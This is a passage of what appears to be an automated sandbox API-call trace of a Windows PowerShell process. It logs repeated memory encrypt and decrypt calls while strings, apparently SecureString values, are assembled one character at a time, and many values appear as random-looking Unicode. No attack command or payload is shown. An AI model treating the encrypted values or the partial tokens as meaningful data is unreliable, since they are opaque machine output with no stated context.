(param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3㽛롩앛씮啑") returned 0x28 [0242.831] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.832] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព緭㮬ꑲ崤䩏⁒ౚ☉") returned 0x28 [0242.832] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព緭㮬ꑲ崤䩏⁒ౚ☉") returned 0x28 [0242.832] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.832] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3y롩앛씮啑") returned 0x28 [0242.832] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.832] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព铤幊ㆫ黊ꊪ") returned 0x28 [0242.832] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព铤幊ㆫ黊ꊪ") returned 0x28 [0242.832] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.832] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU롩앛씮啑") returned 0x28 [0242.832] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.832] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព馘罢鰋箋啖ꨴ⊥ߌ") returned 0x28 [0242.832] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព馘罢鰋箋啖ꨴ⊥ߌ") returned 0x28 [0242.832] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.833] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8앛씮啑") returned 0x28 [0242.833] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.833] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព귛厽踇缳팬堣㭠") returned 0x28 [0242.833] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព귛厽踇缳팬堣㭠") returned 0x28 [0242.833] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.833] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8r씮啑") returned 0x28 [0242.833] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.833] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពﶁ刨袌癨⒎꒱憣쥁") returned 0x28 [0242.833] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពﶁ刨袌癨⒎꒱憣쥁") returned 0x28 [0242.833] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.833] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8rQ씮啑") returned 0x28 [0242.833] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.834] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពх폄⼢ꢹ鎘뱋꣱휆") returned 0x28 [0242.834] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពх폄⼢ꢹ鎘뱋꣱휆") returned 0x28 [0242.834] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.834] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8rQp啑") returned 0x28 [0242.834] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.834] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព魊ꨨ䅲ྗ虳䘒立") returned 0x28 [0242.834] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព魊ꨨ䅲ྗ虳䘒立") returned 0x28 [0242.834] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.834] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8rQpe") returned 0x28 [0242.834] SystemFunction040 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.834] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭") returned 0x28 [0242.838] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭") returned 0x28 [0242.838] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭") returned 0x28 [0242.838] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭") returned 0x30 [0242.838] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.838] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8rQpeQ묮Ĕ姟챘욫켡খ") returned 0x30 [0242.838] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.838] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭먍괱\淜Ljꃹ맴≡) returned 0x30 [0242.838] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭먍괱\淜Ljꃹ맴≡) returned 0x30 [0242.838] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.839] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8rQpeQ4Ĕ姟챘욫켡খ") returned 0x30 [0242.839] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.839] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭꧜䩎㩡净臦䣤ꧢ") returned 0x30 [0242.839] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭꧜䩎㩡净臦䣤ꧢ") returned 0x30 [0242.839] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.839] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8rQpeQ4Y姟챘욫켡খ") returned 0x30 [0242.839] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.839] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭琴\xfdda쿰軒븶㱅備") returned 0x30 [0242.839] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭琴\xfdda쿰軒븶㱅備") returned 0x30 [0242.839] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.839] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp3yU8rQpeQ4Y=챘욫켡খ") returned 0x30 [0242.839] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0242.840] EtwEventActivityIdControl () returned 0x0 [0242.840] EtwEventActivityIdControl () returned 0x0 [0242.840] EtwEventActivityIdControl () returned 0x0 [0242.840] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.840] EtwEventActivityIdControl () returned 0x0 [0242.840] EtwEventActivityIdControl () returned 0x0 [0242.840] EtwEventActivityIdControl () returned 0x0 [0242.841] SysStringLen (param_1="") returned 0x8 [0242.841] SysStringLen (param_1="N") returned 0x8 [0242.841] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.841] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.841] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.841] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.842] SysStringLen (param_1="ND") returned 0x8 [0242.842] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.842] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.842] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.842] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.842] SysStringLen (param_1="NDZ") returned 0x8 [0242.842] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.842] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.842] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.842] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.842] SysStringLen (param_1="NDZl") returned 0x8 [0242.842] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.843] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.843] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.843] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.843] SysStringLen (param_1="NDZlO") returned 0x8 [0242.843] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.843] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.843] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.843] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.843] SysStringLen (param_1="NDZlOD") returned 0x8 [0242.843] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.843] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.843] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.843] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.843] SysStringLen (param_1="NDZlODR") returned 0x8 [0242.844] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.844] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.844] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.844] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.844] SysStringLen (param_1="NDZlODRm") returned 0x8 [0242.844] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0242.845] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.845] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.845] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.845] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.845] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.845] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.845] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.846] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0242.846] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.846] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.846] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0242.846] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.846] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.846] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0242.846] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.847] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0242.847] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.847] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0242.847] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.848] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0242.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0242.848] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.848] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0242.848] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.849] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.849] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0242.849] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.849] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.849] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0242.849] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.849] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.850] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0242.850] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.850] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.850] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0242.850] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.850] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.850] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0242.850] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.851] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0242.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.851] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.851] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0242.851] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0242.852] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0242.852] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.852] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0242.852] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.853] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0242.853] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 